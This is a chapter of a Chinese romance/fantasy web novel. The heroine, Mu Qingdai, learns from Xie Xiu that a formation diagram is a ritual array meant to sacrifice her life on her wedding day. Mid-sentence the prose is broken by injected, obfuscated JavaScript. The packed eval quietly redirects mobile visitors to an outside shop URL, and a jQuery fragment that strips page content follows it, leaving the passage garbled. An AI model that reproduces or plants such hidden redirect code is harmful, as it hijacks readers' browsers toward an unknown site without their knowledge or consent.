四目相对的瞬间,周遭仿佛彻底归于沉寂,安静得穆青黛仿佛在空气中捕捉到了一缕心跳声,分不清是他的,还是自己的。
她微微一怔,下意识轻眨了下眼。
高处的谢修见状,也跟着她眨了眨眼,好似在说“怎么了?”
穆青黛一愣,眼底掠过一丝笑意,唇角轻轻扬起一点小小的弧度,很快就被她掩了去,心头那点异样也随之散去,只剩下坦然。
片刻,她站起身顺着楼梯,从容地朝着二楼的谢修走去。
刚走到谢修面前,正欲开口说些什么,对方已然率先出声。
“跟我来。”
话音刚落,他便朝藏书楼深处走去,穆青黛略一迟疑,便迈步跟了上去,穿过层层书架,行至最里侧被垂帘隔起来的一片小天地前。
他抬手拨开垂帘,领着她走入隔间,这里远离外间喧闹,陈设雅致,架上摆满珍本孤卷,书卷品类众多,一看便是专属私人的地界,寻常访客根本无从踏足。
穆青黛眼中闪过明显的惊讶,这座藏书楼是京城规模最大、藏书最全的书楼,向来对外迎客,名声传遍整座京城。
她看着谢修的身影,心底不禁暗自想道,难不成这整座闻名京城的藏书楼也是他的?
跟在他身后,穆青黛也踏入了这个隔间,她环视一圈,看向面前的谢修,直白问道:“这座藏书楼也是你的产业?”
谢修缓步走到隔间中央的桌子旁坐下,伸手将自己脸上的面具取下放在桌上,淡淡一笑:“早年间随手置下的,平日里用来存放一些寻常地方见不到的典籍。”
穆青黛闻言在心中忍不住暗暗吐槽,这可是京城规模最大、藏书最丰富的书楼,他说得这般轻描淡写,可细细一想,那时他年纪尚轻,竟有这么大的手笔,真是让人忍不住嫉妒。
她压下思绪,在桌边静静落座,神色平静自然:“倒是没想到今日会在这里碰到你。”
说罢,她从袖中拿出刚才那张记录的有关龙气的纸,轻轻推至桌中,纸面上字迹工整清秀,都是她近日以来整理的内容。
“我想请你帮我个忙,这些资料劳你帮我细查。”
她没有说纸上的内容的用处是什么,也没打算将这件事和盘托出,她知道,谢修已经猜到她接近太子是为了龙气,她并不是个孤傲的性子,不会因为他知道就避而不谈,但凡有可用的资源她都不会放过。
谢修垂眸,视线缓缓落在桌面上的那张纸上,他并没有急切地将它拿在手里,眼里掠过一抹幽深。
他心中笃定,这张纸必定与龙气有关,面上却不露声色。
谢修抬眸看向面前的女子,眸底掠过一丝浅淡的玩味,无奈地低笑出声:“看来在你眼里,我倒是个十分好用的工具。”
穆青黛本来安静坐在对面,静静等待着他的回复,谢修一抬头,忽然四目相对,目光在空气里静静相接。
穆青黛望着他清隽温润的眉眼,心头忽然不受控制地跳出先前的揣测,这个念头一冒出来,脸上神色悄然一变,多了几分不自在。
她下意识偏开视线,掩唇轻轻咳了一声,以此掩饰心绪的起伏,接着神色认真地看着他开口说道。
“谢修,你不是工具。”
她先是否定了他说的话,随即抬眸:“我把你当成是我的朋友。”
穆青黛望着眼前人,她虽然没有主动提过,但与谢修相处这些日子,她已将他视作可以信赖的朋友,绝非单纯利用的对象。
谢修目光落在她的脸上,她的双眼看着澄澈又干净,盛满了真切的暖意,他心里默默咂摸着朋友两个字,缓缓开口:“好,我帮你。”
得到答复后,穆青黛松了口气,唇角忍不住漾起一抹淡淡的笑意,她抬手扶着桌沿缓缓起身,她上来找谢修就为了这事,说完便准备就此告辞。
“多谢,这件事就劳你费心了,我就先走了。”
穆青黛站直身子,已然转身正欲抬步离去,身后忽然传来一道低沉的声线,带着一丝前所未有的凝重。
“青黛,等等。”
谢修倏地收起了那副闲散的样子,原本微垂的眼睫抬起,周身温润闲散的气场瞬间敛得一干二净。
只见他微微坐直身体,单手轻搭在桌沿,指节收紧,神色严肃,眉眼间覆上一层厚重的凝重,没有了刚才的温和和平静。
穆青黛脚下动作一顿,回头疑惑地看向他,等着他开口,但心底已经隐隐生出了一丝不安,她大概能猜到他要说什么。
谢修抬眸,目光沉沉地锁在她身上,语气平稳却字字千斤,没有半分玩笑之意:“那张阵法图,我查到眉目了。”
他稍作停顿,看着骤然屏息的穆青黛,缓缓道出真相:“前些日子,你母亲借口出府那日,你让人传话给我,我便多留了一分心思,派了人一直跟在你母亲身后”
“我的人一路跟随,跟着她见到了一位隐世的阵法大师,此人常年云游四海,踪迹缥缈难寻,寻常权贵倾尽人力财力,也未必能得见一面。”
谢修指尖轻轻叩了叩桌面,条理清晰地往下说着:“正因如此,你母亲才那般急切,匆匆地寻找借口出府。”
他看着脸色莫名的穆青黛,没有故作玄机,直接说出了他这些日子里查到的真相:“那张阵法图,名为祭天阵。”
穆青黛神色一变,瞳孔微微收缩,不可置信的重复着谢修说的话。
祭天阵?
谢修望着她苍白的脸色,将所有残酷真相全盘托出。
“此阵唯一的作用,便是献祭你的性命,开启一条回到你们原来的那个世界的通道。”
这句话落下的瞬间,穆青黛怔怔地立在原地,方才紧绷的思绪轰然炸开,整个人彻底僵住。
她清楚地知道包括自己林氏在内的联盟所的有人都在算计和利用她,但她从未猜到,代价会是这个,忽地想起那日在密道内看到的那行字。
大阵开启无需外物,唯需与此方天地天道产生深层羁绊者,可为阵眼。
原来这所谓的阵眼就是自己的性命。
刹那间,一股难以压抑的愤怒顺着胸腔节节攀升,穆青黛攥紧十指,指尖用力到泛白,原来她们费尽心机地将自己召唤而来,就是为了用自己这条命给她们铺路。
怒火翻涌之际,心头又猛地揪痛起来,她呼吸一滞,下意识抬手捂住心口处,身子微微一晃,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615775|202451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脸上瞬间褪去了最后一丝血色。
一旁的谢修见状,神色骤变,动作极快地起身上前,伸手稳稳扶住她摇晃的身体,掌心轻轻托住她的手肘,小心翼翼将她扶回椅上坐稳。
“小心。”
穆青黛一直没有开口说话,深吸一口气,慢慢压下这份不属于自己的痛苦。
良久,她才抬头看向谢修,说了句:“没事,我休息会儿就好。”
她抬手轻轻按了按心口,将那缕残留的哀怨压下,神色恢复冷静,只是一张小脸上依旧没有任何血色。
穆青黛敛去眼底残留的情绪,抬眸问道:“她们打算何时动手?”
谢修神色依旧凝重,缓缓开口:“据那老道说的是在你与太子大婚之时。”
大婚之日?
昨日宫中才传来的消息,她与太子的大婚定在三个月之后。
穆青黛在心底默默盘算了一番,指尖无意识地轻叩桌面,三个月的时限,不算紧迫,够她做很多的事情了。
谢修望着她认真思索的模样,脑海中回想起那日她无声拒绝的模样,眉眼间不自觉覆上冷意,唇角微抿,周身气息悄然沉了几分。
而坐在对面的穆青黛想得入神,对此茫然无知。
谢修缓缓松开收紧的指节,抬起手,指尖轻揉眉心,借着这个动作掩去眸底复杂的情绪,重新将心神拉回到眼前到事上来。
“眼下既知道了她们的计划,接下来的就要早做打算了。”
他坐直身子,语气恢复了往日的沉稳,目光落在穆青黛的脸上,认真地说着。
穆青黛闻言从沉思中回神,轻轻吐出一口气,眼底不再像之前那般脆弱,取而代之的是审视与坚定。
她抬眸看向谢修,语气笃定:“三个月,说长不长,但说短也不算短,这对我来说,未必不是好事。”
“她们的目的已然达到,我估计接下来这三个月的时间,她们大概率不会讲视线放在我身上,这倒是方便我顺着她们的路,彻底改变这场结局!”
望着她清冷果决的眉眼,谢修不可控制的泛起了一阵浅浅的悸动,稍定心神,他语气沉稳应道。
“好,你有任何需要随时告诉我,我也会增派人手,盯着你母亲与联盟的行踪,至于这祭天阵……”
稍顿,话语在舌尖转了一圈,才开头继续说着:“你放心,我会继续追查的。”
他没有说出口的是在调查这祭天阵时,背后似乎还有那个人的手法,但这些他还不能告诉穆青黛。
至少现在不行。
……
待到夕阳西斜,晚霞染红半边天际,穆青黛才合上面前的古籍,起身稍微舒展了下微酸的肩颈。
她揉了揉发胀的太阳穴,抬眼望向二楼回廊,算算时间,谢修离开已有一个时辰了,看起来他确实很忙。
穆青黛缓缓收回目光,抬脚走出藏书楼。
今日在这待了许久,这里的记录确实让她收获不少,只是心底仍存顾虑,不知谢修能否顺利地查到夺龙气的法子。
晚风卷着暮色而来,她缓步朝着尚书府走去,残阳落在长长的街道上,拉长了她的身影,前路依旧迷雾重重。